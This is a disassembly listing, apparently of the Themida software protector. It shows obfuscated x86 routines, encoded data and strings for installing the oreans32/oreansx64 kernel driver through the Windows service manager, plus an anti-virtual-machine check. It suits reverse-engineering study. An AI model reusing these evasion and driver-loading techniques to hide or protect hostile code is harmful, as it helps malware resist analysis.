add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8A3D
mov dword ptr [ebp+61508F5h], 1
retn
; ---------------------------------------------------------------------------
loc_5A8A3D: ; CODE XREF: sub_5A8A14+18j
lea esi, [ebp+617EE98h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8A66
mov dword ptr [ebp+61503ADh], 1
retn
; ---------------------------------------------------------------------------
loc_5A8A66: ; CODE XREF: sub_5A8A14+41j
lea esi, [ebp+617EF11h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8A8F
mov dword ptr [ebp+6152E9Dh], 1
retn
; ---------------------------------------------------------------------------
loc_5A8A8F: ; CODE XREF: sub_5A8A14+6Aj
lea esi, [ebp+617EEA2h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8AB8
mov dword ptr [ebp+61503ADh], 1
retn
; ---------------------------------------------------------------------------
loc_5A8AB8: ; CODE XREF: sub_5A8A14+93j
lea esi, [ebp+617EEACh]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8AEB
mov dword ptr [ebp+61503ADh], 1
mov dword ptr [ebp+61508F5h], 1
retn
; ---------------------------------------------------------------------------
loc_5A8AEB: ; CODE XREF: sub_5A8A14+BCj
lea esi, [ebp+617EEBAh]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8B13
mov dword ptr [ebp+6152FF1h], 1
loc_5A8B13: ; CODE XREF: sub_5A8A14+EFj
lea esi, [ebp+617EEC4h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8B3B
mov dword ptr [ebp+6152FF1h], 1
loc_5A8B3B: ; CODE XREF: sub_5A8A14+117j
lea esi, [ebp+617EECFh]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8B63
mov dword ptr [ebp+6152FA9h], 1
loc_5A8B63: ; CODE XREF: sub_5A8A14+13Fj
lea esi, [ebp+617EED5h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8B8B
mov dword ptr [ebp+61525E9h], 1
loc_5A8B8B: ; CODE XREF: sub_5A8A14+167j
lea esi, [ebp+617EEDBh]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8BB3
mov dword ptr [ebp+6152439h], 1
loc_5A8BB3: ; CODE XREF: sub_5A8A14+18Fj
lea esi, [ebp+617EEE9h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8BDB
mov dword ptr [ebp+6151351h], 1
loc_5A8BDB: ; CODE XREF: sub_5A8A14+1B7j
lea esi, [ebp+617EEF6h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8C03
mov dword ptr [ebp+6151E15h], 1
loc_5A8C03: ; CODE XREF: sub_5A8A14+1DFj
lea esi, [ebp+617EF01h]
call sub_5A8C44
add edi, [ebp+617EF22h]
cmp dword ptr [ebp+617EF22h], 0
jz loc_5A8C2B
mov dword ptr [ebp+6151085h], 1
loc_5A8C2B: ; CODE XREF: sub_5A8A14+207j
jmp loc_5A8C31
; ---------------------------------------------------------------------------
loc_5A8C30: ; CODE XREF: sub_5A8A14+229j
inc edi
loc_5A8C31: ; CODE XREF: sub_5A8A14:loc_5A8C2Bj
cmp byte ptr [edi], 20h
jz locret_5A8C43
cmp byte ptr [edi], 0
jnz loc_5A8C30
locret_5A8C43: ; CODE XREF: sub_5A8A14+220j
retn
sub_5A8A14 endp
; =============== S U B R O U T I N E =======================================
sub_5A8C44 proc near ; CODE XREF: sub_5A8A14+6p
; sub_5A8A14+2Fp ...
pusha
mov ecx, 1
mov ebx, esi
jmp loc_5A8C6D
; ---------------------------------------------------------------------------
loc_5A8C51: ; CODE XREF: sub_5A8C44+34j
cmp byte ptr [edi], 0
jnz loc_5A8C5F
mov ecx, 0
loc_5A8C5F: ; CODE XREF: sub_5A8C44+10j
mov dl, [edi]
cmp [esi], dl
jz loc_5A8C6B
sub ecx, ecx
loc_5A8C6B: ; CODE XREF: sub_5A8C44+1Fj
inc esi
inc edi
loc_5A8C6D: ; CODE XREF: sub_5A8C44+8j
cmp byte ptr [esi], 0
jz loc_5A8C7E
or ecx, ecx
jnz loc_5A8C51
loc_5A8C7E: ; CODE XREF: sub_5A8C44+2Cj
or ecx, ecx
jz loc_5A8CA7
cmp byte ptr [edi], 0
jz loc_5A8C98
cmp byte ptr [edi], 20h
jnz loc_5A8CA2
loc_5A8C98: ; CODE XREF: sub_5A8C44+45j
mov ecx, 1
jmp loc_5A8CA7
; ---------------------------------------------------------------------------
loc_5A8CA2: ; CODE XREF: sub_5A8C44+4Ej
mov ecx, 0
loc_5A8CA7: ; CODE XREF: sub_5A8C44+3Cj
; sub_5A8C44+59j
or ecx, ecx
jz loc_5A8CBC
sub esi, ebx
mov [ebp+617EF22h], esi
jmp loc_5A8CC6
; ---------------------------------------------------------------------------
loc_5A8CBC: ; CODE XREF: sub_5A8C44+65j
mov dword ptr [ebp+617EF22h], 0
loc_5A8CC6: ; CODE XREF: sub_5A8C44+73j
popa
retn
sub_5A8C44 endp
; ---------------------------------------------------------------------------
loc_5A8CC8: ; CODE XREF: Themida_:005A89A7j
; Themida_:005A89B1j ...
mov eax, 0
or eax, eax
jz loc_5A8CDF
mov dword ptr [ebp+6152FF1h], 0
loc_5A8CDF: ; CODE XREF: Themida_:005A8CCFj
mov ecx, eax
jmp loc_5A9D9D
; ---------------------------------------------------------------------------
dw 4441h
dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot db 'SYSTEMROOT',0
aSSystem32Drive db '%s\system32\drivers\%s',0
aSSyswow64Drive db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0
align 4
dd 48h dup(0)
dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
dd 72676F72h, 2E6D61h, 59h dup(0)
dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0)
dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0)
dd 10000000h, 0
dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
dd 0F0001h
db 8, 4, 0
byte_5A9CF7 db 94h ; DATA XREF: Themida_:00579DE8o
; Themida_:0057C7B0o
dd 5000000h, 1000000h, 28000000h, 200000Ah, 53000000h
dd 69767265h, 50206563h, 206B6361h, 32h, 1Ch dup(0)
dd 53000000h, 7774666Fh, 5C657261h, 656E6957h
db 0
; ---------------------------------------------------------------------------
loc_5A9D9D: ; CODE XREF: Themida_:005A8CE1j
mov eax, esp
push esi
jmp loc_5A9DAB
; ---------------------------------------------------------------------------
db 0Ch, 0A1h, 0Ch
db 0F1h, 93h, 0C2h
; ---------------------------------------------------------------------------
loc_5A9DAB: ; CODE XREF: Themida_:005A9DA0j
pop edi
mov [ebp+6151D09h], eax
mov ch, 95h
mov eax, eax
or dx, 26Eh
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_5A9DCD
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5A9DE6
loc_5A9DCD: ; CODE XREF: Themida_:005A9DC2j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6151385h], eax
lea ebx, [ebp+617AA9Eh]
call ebx
pop ebx
pop eax
loc_5A9DE6: ; CODE XREF: Themida_:005A9DCBj
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5A9E06
push eax
push ebx
mov eax, 43Dh
mov [ebp+6151385h], eax
lea ebx, [ebp+617A78Dh]
call ebx
pop ebx
pop eax
loc_5A9E06: ; CODE XREF: Themida_:005A9DEDj
mov edi, [ebp+61514D5h]
mov [ebp+6152D01h], ecx
mov eax, eax
mov [ebp+6152A99h], esi
mov eax, eax
mov ecx, edi
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_5A9E30
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5A9E43
loc_5A9E30: ; CODE XREF: Themida_:005A9E25j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+617A940h]
call ebx
pop ebx
pop eax
loc_5A9E43: ; CODE XREF: Themida_:005A9E2Ej
cmp dword ptr [ebp+61503ADh], 0
jz short loc_5A9E5D
push eax
push ebx
mov eax, 0
lea ebx, [ebp+617A7F1h]
call ebx
pop ebx
pop eax
loc_5A9E5D: ; CODE XREF: Themida_:005A9E4Aj
mov edi, [ebp+6151859h]
push 0
push ebp
call sub_5A9E6E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A9E6E proc near ; CODE XREF: Themida_:005A9E66p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5A9E6E endp
; ---------------------------------------------------------------------------
dw 0CDF5h
dd 0D10757F4h, 7F933C80h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8589BEC3h, 61526D1h
dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0BD2B22C3h, 6152D71h, 8F5BD83h, 75000615h
dd 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh, 8D000000h
dd 17A8729Dh, 5BD3FF06h, 0ADBD8358h, 61503h, 53501174h
dd 0B8h, 0BF9D8D00h, 0FF0617A7h, 0E8585BD3h, 5, 0C07A279Fh
dd 0E58509F6h, 5A061528h, 0A85BD89h, 0BD890615h, 61511E1h
dd 0F53C08Bh, 28Ch, 59CF8B00h, 8D8BC08Bh, 6152ED9h, 8F5BD83h
dd 75000615h, 0ADBD8309h, 61503h, 53501374h, 0B8C08Bh
dd 8D000000h, 17A8D99Dh, 5BD3FF06h, 0ADBD8358h, 61503h
dd 53501174h, 0B8h, 0D89D8D00h, 0FF0617A7h, 66585BD3h
dd 0D3FBD781h, 1A25BD8Bh, 14E90615h, 0CE000000h, 0D3F14C48h
dd 1FCCE47Ah, 676AFE42h, 0B50980A4h, 8B3792C7h, 52006AC0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0E226968Eh, 917CAD41h, 0C08BD78Bh, 1D850360h, 8106150Dh
dd 0FA968EC1h, 0CA8A6125h, 8F5BD83h, 75000615h, 0ADBD8309h
dd 61503h, 53501374h, 0B8C08Bh, 8D000000h, 17A80B9Dh, 5BD3FF06h
dd 79BD8958h, 81061524h, 0F41E40EFh, 0FE924h, 0B6E90000h
dd 90EEF2CBh, 251F2509h, 7AFB655h, 6AC08BB9h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0B384C351h, 0E9B90F53h, 9, 0E9DF7337h, 0F5806051h, 89C08B60h
dd 15023D8Dh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh
dd 50197400h, 0B8C08B53h, 7D0h, 13858589h, 9D8D0615h, 617AA9Eh
dd 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h, 7D0h, 13858589h
dd 9D8D0615h, 617A78Dh, 585BD3FFh, 0A9E98166h, 0D2EA8061h
dd 8166C08Bh, 0C65D17D7h, 1509C585h, 0CA815306h, 25DABC72h
dd 840F60h, 8B000000h, 15019185h, 90686106h, 0E999395Fh
dd 14h, 0B2FFE26Ch, 208FAD52h, 0A1B2FCB7h, 0E0B491BAh
dd 9F4C2E9Ch, 1685B5FFh, 8B600615h, 85BD89F2h, 61061508h
dd 3B38858Dh, 952B0615h, 61518F5h, 0CEB1D0FFh, 2C98589h
dd 8B660615h, 0C585C6D6h, 57061509h, 0D8D8D89h, 6680615h
dd 81900452h, 0E4CFF9EAh, 85B5FF3Eh, 0F061516h, 858DF9BFh
dd 6153B38h, 26C58D89h, 0D0FF0615h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 69C35545h, 840F34F2h, 6, 2C71BD8Bh
dd 850F0615h, 6, 26B58D8Bh, 85890615h, 61508BDh, 7AFABA66h
dd 198F0Fh, 14E90000h, 0E1000000h, 0E36EB5C6h, 0F2896510h
dd 0DECCF514h, 51588380h, 0C61E9FA1h, 1509C585h, 8D8B4306h
dd 6153479h, 8121BF66h, 90702868h, 0FFD68BBCh, 151685B5h
dd 18D8906h, 81061501h, 0B7BF09D1h, 38858D4Ch, 8B06153Bh
dd 151D8195h, 6AD0FF06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 7C03C355h, 3C7CC2EFh
dd 0FFD78166h, 75EE806Ah, 339D8589h, 0C6F50615h, 1509C585h
dd 81664C06h, 684F36F7h, 0D9DA1CE9h, 6DF8166h, 85B5FFCEh
dd 8B061516h, 150C1195h, 38858D06h, 6606153Bh, 0FF17CAB9h
dd 0BFC3BAD0h, 85890B21h, 61507D5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 40C35040h, 0C585C619h, 46061509h
dd 22E59D89h, 14680615h, 0E9BADE06h, 9, 9D84F6E3h, 6D96B73Ah
dd 85B5FFB2h, 66061516h, 1EBEF181h, 26F98D8Bh, 858D0615h
dd 6153B38h, 0ECC9E981h, 0D0FF4520h, 85897FB6h, 6152629h
dd 0C585C6F5h, 47061509h, 6820Fh, 0E1810000h, 718A0FB5h
dd 0FB5E268h, 18C0F8Ah, 0F5000000h, 1685B5FFh, 0C88B0615h
dd 3B38858Dh, 0BA660615h, 0D0FFA284h, 270DBD29h, 85890615h
dd 6150E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 75C35040h, 19FC3456h, 0DDA27B97h, 0C585C611h, 47061509h
dd 0E6CA8166h, 0B5F368E8h, 852983D0h, 6151575h, 1685B5FFh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 9C9901C3h, 6B259D51h, 38858D26h, 6006153Bh
dd 5A431DBBh, 91BF661Fh, 0D0FF6191h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 8FC35040h, 0C6B6BA66h, 0F2DA8052h
dd 0B185895Fh, 6A061504h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0D80FC350h, 7D6EA7ECh
dd 80F33C60h, 85C6E2CAh, 61509C5h, 56006A77h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 54D3EBFAh
dd 68F9B00Fh, 0F397A8A3h, 11C28166h, 89B5FF1Fh, 0E8061507h
dd 0Bh, 0D2B3D5C9h, 0C494F932h, 66A780A2h, 5AD0B4BAh, 5890Fh
dd 81660000h, 8D0F6DDFh, 153B3885h, 45858906h, 0FF061511h
dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0CAB93B8Ch, 2F298589h, 6A0615h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0CCB58C3h, 5E78AEE3h, 0E2816606h, 85C647FBh, 61509C5h
dd 0E58D8B47h, 68061523h, 8728FAF6h, 0FFD38B66h, 151685B5h
dd 0EDB53106h, 8D06152Fh, 153B3885h, 45958B06h, 0FF06150Ah
dd 0EF8166D0h, 85894537h, 61516DDh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 8C35646h, 8438843h, 0D18B5EB0h
dd 2925958Bh, 85C60615h, 61509C5h, 6EFC6843h, 12E9BC8Eh
dd 3E000000h, 0C521D995h, 0B9001DE5h, 0D5A73991h, 0D12D5E41h
dd 85B5FFEEh, 0E8061516h, 0Dh, 0AC05D86Eh, 0C4B4955Bh
dd 0A51B3C2h, 0E2816605h, 8D5F69EEh, 153B3885h, 6AD0FF06h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0A676C351h, 9DCEDA30h, 89F5F88Bh, 1510F985h
dd 10E906h, 30AE0000h, 99A681D2h, 2A10C2FBh, 0AC91C282h
dd 0BF0F63C7h, 0C585C6CFh, 45061509h, 1190B966h, 72696968h
dd 0C981668Eh, 99B968BBh, 0FF17F8DEh, 151685B5h, 2DB52906h
dd 8D061529h, 153B3885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 45C5C18Bh, 29B9665Fh
dd 0FD0FF70h, 8589D2BFh, 6152669h, 7BD18166h, 0C585C672h
dd 44061509h, 0FDF18166h, 6468FC16h, 6AB8F2ECh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0CA40C355h, 6EB9F94h, 0E7B96651h, 85B5FFD8h, 66061516h
dd 8166FA8Bh, 8D8CABF2h, 153B3885h, 0FFCF8A06h, 1BD31D0h
dd 89061521h, 15097D85h, 8FBA6606h, 0C585C655h, 43061509h
dd 10CF8166h, 0CD958B0Dh, 68061519h, 0C0764AA7h, 8F18D8Bh
dd 0B5FF0615h, 6151685h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0C6C35545h, 44AFFD0Dh, 5BD092Dh, 0F061534h
dd 858DFABFh, 6153B38h, 6D88E281h, 0D0FF5534h, 1A058D31h
dd 85890615h, 6150DCDh, 7019D89h
dd 0BD800615h, 617FEA5h, 0E4840F00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0A91FC350h, 8B5B589h, 858D0615h, 617FE87h, 0D958D89h
dd 0AAB20615h, 9BA6650h, 6A016A67h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0ED7EC353h
dd 6AD3B70Fh, 0EA816600h, 6AFA9Fh, 1CB19D89h, 95FF0615h
dd 615339Dh, 0BD8589F8h, 89061503h, 150CC1B5h, 6AFF6A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0AD2FC353h, 9CD5B88Ah, 0A05CEB0Dh, 1DE5958Bh
dd 0B5FF0615h, 61503BDh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 6EC35141h, 0B2CFC069h, 0CF7F2C02h, 8D8B57FBh
dd 61528B1h, 0FFCE8B59h, 1508BD95h, 8BEC8A06h, 0B5950BC0h
dd 83061512h, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h
dd 8B535019h, 7D1B8C0h, 85890000h, 6151385h, 0AA9E9D8Dh
dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 7D1B853h
dd 85890000h, 6151385h, 0A78D9D8Dh, 0D3FF0617h, 14E8585Bh
dd 0DB000000h, 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh
dd 890547BCh, 1522D985h, 6A5F06h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0F2B52CC3h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 387441C3h, 0C585C65Dh, 47061509h, 81B52960h, 6106150Dh
dd 0C8F7C168h, 52006A93h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0F9DA0D25h, 0FB8BEFACh
dd 1685B5FFh, 858D0615h, 6153B38h, 5FE3B556h, 8B50D0FFh
dd 0FFB70FCBh, 2C8858Dh, 85090618h, 61503B9h, 9400C7h
dd 85290000h, 6151041h, 0ABB9C281h, 895820B3h, 150A6D8Dh
dd 0A18D8B06h, 8D06150Bh, 1802C8B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F224B2D1h
dd 8B667AA1h, 0D19D01CAh, 60061506h, 2489EEBEh, 3C38178h
dd 611BAEDCh, 6AD0FF56h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 5920C356h, 0B70FAA14h
dd 9D8956FEh, 6150BF1h, 0C8858D5Ah, 6A061802h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 7D39C351h, 0BCCE8B11h, 95897790h, 6152D81h, 6047883h
dd 16850Fh, 0D68B0000h, 35C85C7h, 10618h, 950B0000h, 6152A25h
dd 1329BF66h, 0A19BD83h, 0F000615h, 5685h, 358D0900h, 0E8061501h
dd 0Ah, 585E3289h, 0B16EF3E2h, 9529B7D4h, 6153425h, 5CBD8359h
dd 61803h, 2D850Fh, 58B90000h, 0B62E770Fh, 0F5BD83B3h
dd 61527h, 19840Fh, 952B0000h, 6151821h, 265DBD0Bh, 85C70615h
dd 61511C1h, 0
dd 66F8BF0Fh, 0DA80DB8Ch, 4C3F61Bh, 478840Fh, 13E80000h
dd 0C4000000h, 764E929Ch, 0FF4786ABh, 0F2692041h, 50F47834h
dd 8D0F15F7h, 2, 895AD38Bh, 150141BDh, 0B585C706h, 6152Dh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 6E96C355h, 0BA91287Eh, 0B2BD8061h
dd 617FEh, 3850Fh, 0B70F0000h, 0C585C6CBh, 47061509h, 8668F88Bh
dd 66E3E45Bh, 3D23D281h, 0DE5BD8Bh, 0B5FF0615h, 6151685h
dd 0A8BCBA66h, 3B38858Dh, 0B5890615h, 6151371h, 0BD8BD0FFh
dd 6152965h, 10468h, 1DBD8B00h, 8D06151Ah, 152B499Dh, 0B1952B06h
dd 53061533h, 38A0Fh, 0BF0F0000h, 0FD0FFC8h, 68Dh, 0C1B58900h
dd 89061508h, 152B3D95h, 49858D06h, 6606152Bh, 0AFF5D181h
dd 13E850h, 3E070000h, 5539FFAFh, 3542F4D2h, 0B85F5A70h
dd 5132FAD0h, 458D8B5Bh, 5A061534h, 0FE64858Dh, 0EE80617h
dd 0C1000000h, 679E226Bh, 3A0CD4D8h, 0F2ABE2E0h, 9D29508Eh
dd 6152325h, 66505F59h, 858DCF8Bh, 617F537h, 50D18B66h
dd 1019589h, 95FF0615h, 6152F29h, 13810Fh, 0EE90000h, 0E4000000h
dd 633CF005h, 6A1DF768h, 0B3DE9184h, 0CC483ADh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DAC35242h, 0DC42058Eh
dd 0F22429Bh, 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h
dd 617F537h, 0F995FF50h, 89061510h, 17FE4785h, 0C585C606h
dd 47061509h, 0B15E8768h, 85B5FFC7h, 8D061516h, 153B3885h
dd 6AD0FF06h, 47B5FF00h, 0FF0617FEh, 6850FD0h, 81000000h
dd 0A7E027D7h, 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 83433136h, 66D6BD6Dh
dd 2DC1E181h, 37D03Dh, 3E830F00h, 66000000h, 0B5FFD18Bh
dd 617FE47h, 11A1BD8Bh, 95FF0615h, 6150DCDh, 8850Fh, 8B510000h
dd 15051D8Dh, 0B3E95F06h, 0E8000000h, 0Eh, 1DA51D68h, 0DF8A140h
dd 8ADB7C6Fh, 0EA8A9206h, 47B5FF5Ah, 500617FEh, 8398D89h
dd 0FF5F0615h, 150DCD95h, 25958906h, 6A061523h, 418D8B00h
dd 6A061506h, 0BDBD8B00h, 6A06152Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E9736FAh
dd 8148DB8Ah, 0A8D9BCF7h, 0B9006A4Eh, 1CD3F0ADh, 8B0F006Ah
dd 6, 75D9D89h, 6A0615h, 8DD6BF0Fh, 17FE4B85h, 50FA8B06h
dd 33999D89h, 95FF0615h, 61510F9h, 8BB1EA80h, 0FFF883D6h
dd 117850Fh, 840F0000h, 6, 0A204C281h, 858D7D56h, 617B518h
dd 0C820Fh, 8E0F0000h, 6, 0A159501h, 0D0FF0615h, 6AD78Bh
dd 58A0Fh, 0A3B90000h, 6A3A8B82h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 520CEC8Fh
dd 2CC65677h, 0ABD28166h, 3DDF818Ah, 6A22A8C3h, 8B006A00h
dd 151E918Dh, 8B006A06h, 6AD78BCAh, 0DD9D8900h, 8D061506h
dd 17FE4B85h, 9D015006h, 6150315h, 10F995FFh, 0E9600615h
dd 0Ch, 0A3B6F159h, 0DAD80D83h, 0FE940BE6h, 1675BD8Bh
dd 83610615h, 850FFFF8h, 65h, 8D1EC580h, 17F853B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 8DEF63D1h, 17A3E185h, 0FE806h, 0C85D0000h, 0D6FE16C4h
dd 14CAC07Eh, 0BEB81DCDh, 0D7B96629h, 0BD8B5A06h, 6150479h
